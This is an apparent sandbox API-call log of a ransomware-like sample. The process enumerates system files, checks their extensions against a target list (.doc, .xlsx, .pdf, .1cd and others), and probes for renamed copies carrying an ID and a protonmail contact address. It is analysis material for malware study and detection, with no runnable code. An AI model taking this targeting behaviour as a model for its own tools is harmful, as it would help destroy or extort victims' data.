	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString=".1cd") returned 4
	[0081.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString=".jpg") returned 4
	[0081.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString=".doc") returned 4
	[0081.845] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString=".docx") returned 5
	[0081.845] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0081.845] lstrlenW (lpString=".pdf") returned 4
	[0081.845] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString=".xls") returned 4
	[0081.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString=".xlsx") returned 5
	[0081.845] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0081.845] lstrlenW (lpString=".ppt") returned 4
	[0081.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString=".zip") returned 4
	[0081.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString=".rar") returned 4
	[0081.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.845] lstrlenW (lpString=".bz2") returned 4
	[0081.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.846] lstrlenW (lpString=".7z") returned 3
	[0081.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.846] lstrlenW (lpString=".dbf") returned 4
	[0081.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.846] lstrlenW (lpString=".1cd") returned 4
	[0081.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.846] lstrlenW (lpString=".jpg") returned 4
	[0081.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.846] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.846] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0081.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.846] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=88752) returned 1
	[0081.846] CloseHandle (hObject=0x36c) returned 1
	[0081.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20
	[0081.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.847] lstrlenW (lpString=".doc") returned 4
	[0081.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString=".docx") returned 5
	[0081.847] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.847] lstrlenW (lpString=".pdf") returned 4
	[0081.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString=".xls") returned 4
	[0081.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString=".xlsx") returned 5
	[0081.847] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.847] lstrlenW (lpString=".ppt") returned 4
	[0081.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.847] lstrlenW (lpString=".zip") returned 4
	[0081.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString=".rar") returned 4
	[0081.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.847] lstrlenW (lpString=".bz2") returned 4
	[0081.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.848] lstrlenW (lpString=".7z") returned 3
	[0081.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString=".dbf") returned 4
	[0081.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString=".1cd") returned 4
	[0081.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString=".jpg") returned 4
	[0081.848] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString=".doc") returned 4
	[0081.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString=".docx") returned 5
	[0081.848] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.848] lstrlenW (lpString=".pdf") returned 4
	[0081.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString=".xls") returned 4
	[0081.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString=".xlsx") returned 5
	[0081.848] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.848] lstrlenW (lpString=".ppt") returned 4
	[0081.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.848] lstrlenW (lpString=".zip") returned 4
	[0081.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString=".rar") returned 4
	[0081.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.848] lstrlenW (lpString=".bz2") returned 4
	[0081.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.848] lstrlenW (lpString=".7z") returned 3
	[0081.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.849] lstrlenW (lpString=".dbf") returned 4
	[0081.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.849] lstrlenW (lpString=".1cd") returned 4
	[0081.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0081.849] lstrlenW (lpString=".jpg") returned 4
	[0081.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.849] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0081.849] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0081.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.145] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=10752) returned 1
	[0082.145] CloseHandle (hObject=0x380) returned 1
	[0082.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20
	[0082.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.146] lstrlenW (lpString=".doc") returned 4
	[0082.146] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.146] lstrlenW (lpString=".docx") returned 5
	[0082.146] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.146] lstrlenW (lpString=".pdf") returned 4
	[0082.146] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.146] lstrlenW (lpString=".xls") returned 4
	[0082.146] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.146] lstrlenW (lpString=".xlsx") returned 5
	[0082.146] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.146] lstrlenW (lpString=".ppt") returned 4
	[0082.146] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.146] lstrlenW (lpString=".zip") returned 4
	[0082.146] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.146] lstrlenW (lpString=".rar") returned 4
	[0082.146] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.146] lstrlenW (lpString=".bz2") returned 4
	[0082.146] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.146] lstrlenW (lpString=".7z") returned 3
	[0082.146] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.146] lstrlenW (lpString=".dbf") returned 4
	[0082.146] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString=".1cd") returned 4
	[0082.147] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString=".jpg") returned 4
	[0082.147] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString=".doc") returned 4
	[0082.147] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.147] lstrlenW (lpString=".docx") returned 5
	[0082.147] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.147] lstrlenW (lpString=".pdf") returned 4
	[0082.147] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.147] lstrlenW (lpString=".xls") returned 4
	[0082.147] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.147] lstrlenW (lpString=".xlsx") returned 5
	[0082.147] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.147] lstrlenW (lpString=".ppt") returned 4
	[0082.147] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString=".zip") returned 4
	[0082.147] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.147] lstrlenW (lpString=".rar") returned 4
	[0082.147] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.147] lstrlenW (lpString=".bz2") returned 4
	[0082.147] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.147] lstrlenW (lpString=".7z") returned 3
	[0082.147] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.147] lstrlenW (lpString=".dbf") returned 4
	[0082.148] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.148] lstrlenW (lpString=".1cd") returned 4
	[0082.148] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0082.148] lstrlenW (lpString=".jpg") returned 4
	[0082.148] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.148] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.148] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0082.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.227] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=3072) returned 1
	[0082.227] CloseHandle (hObject=0x358) returned 1
	[0082.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0082.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.227] lstrlenW (lpString=".doc") returned 4
	[0082.227] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.227] lstrlenW (lpString=".docx") returned 5
	[0082.227] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.227] lstrlenW (lpString=".pdf") returned 4
	[0082.227] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.227] lstrlenW (lpString=".xls") returned 4
	[0082.227] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.227] lstrlenW (lpString=".xlsx") returned 5
	[0082.227] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.227] lstrlenW (lpString=".ppt") returned 4
	[0082.227] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString=".zip") returned 4
	[0082.228] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.228] lstrlenW (lpString=".rar") returned 4
	[0082.228] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.228] lstrlenW (lpString=".bz2") returned 4
	[0082.228] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.228] lstrlenW (lpString=".7z") returned 3
	[0082.228] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString=".dbf") returned 4
	[0082.228] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString=".1cd") returned 4
	[0082.228] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString=".jpg") returned 4
	[0082.228] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.228] lstrlenW (lpString=".doc") returned 4
	[0082.228] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.228] lstrlenW (lpString=".docx") returned 5
	[0082.228] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.228] lstrlenW (lpString=".pdf") returned 4
	[0082.228] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.228] lstrlenW (lpString=".xls") returned 4
	[0082.228] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.228] lstrlenW (lpString=".xlsx") returned 5
	[0082.228] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.228] lstrlenW (lpString=".ppt") returned 4
	[0082.228] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.229] lstrlenW (lpString=".zip") returned 4
	[0082.229] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.229] lstrlenW (lpString=".rar") returned 4
	[0082.229] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.229] lstrlenW (lpString=".bz2") returned 4
	[0082.229] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.229] lstrlenW (lpString=".7z") returned 3
	[0082.229] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.229] lstrlenW (lpString=".dbf") returned 4
	[0082.229] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.229] lstrlenW (lpString=".1cd") returned 4
	[0082.229] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0082.229] lstrlenW (lpString=".jpg") returned 4
	[0082.229] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.229] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.229] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0082.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.565] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=2560) returned 1
	[0082.565] CloseHandle (hObject=0x350) returned 1
	[0082.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20
	[0082.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.565] lstrlenW (lpString=".doc") returned 4
	[0082.565] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.565] lstrlenW (lpString=".docx") returned 5
	[0082.565] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.565] lstrlenW (lpString=".pdf") returned 4
	[0082.565] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.565] lstrlenW (lpString=".xls") returned 4
	[0082.565] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.565] lstrlenW (lpString=".xlsx") returned 5
	[0082.566] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.566] lstrlenW (lpString=".ppt") returned 4
	[0082.566] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString=".zip") returned 4
	[0082.566] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.566] lstrlenW (lpString=".rar") returned 4
	[0082.566] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.566] lstrlenW (lpString=".bz2") returned 4
	[0082.566] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.566] lstrlenW (lpString=".7z") returned 3
	[0082.566] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString=".dbf") returned 4
	[0082.566] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString=".1cd") returned 4
	[0082.566] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString=".jpg") returned 4
	[0082.566] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.566] lstrlenW (lpString=".doc") returned 4
	[0082.566] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.566] lstrlenW (lpString=".docx") returned 5
	[0082.566] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.566] lstrlenW (lpString=".pdf") returned 4
	[0082.566] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.566] lstrlenW (lpString=".xls") returned 4
	[0082.567] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.567] lstrlenW (lpString=".xlsx") returned 5
	[0082.567] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.567] lstrlenW (lpString=".ppt") returned 4
	[0082.567] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.567] lstrlenW (lpString=".zip") returned 4
	[0082.567] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.567] lstrlenW (lpString=".rar") returned 4
	[0082.567] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.567] lstrlenW (lpString=".bz2") returned 4
	[0082.567] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.567] lstrlenW (lpString=".7z") returned 3
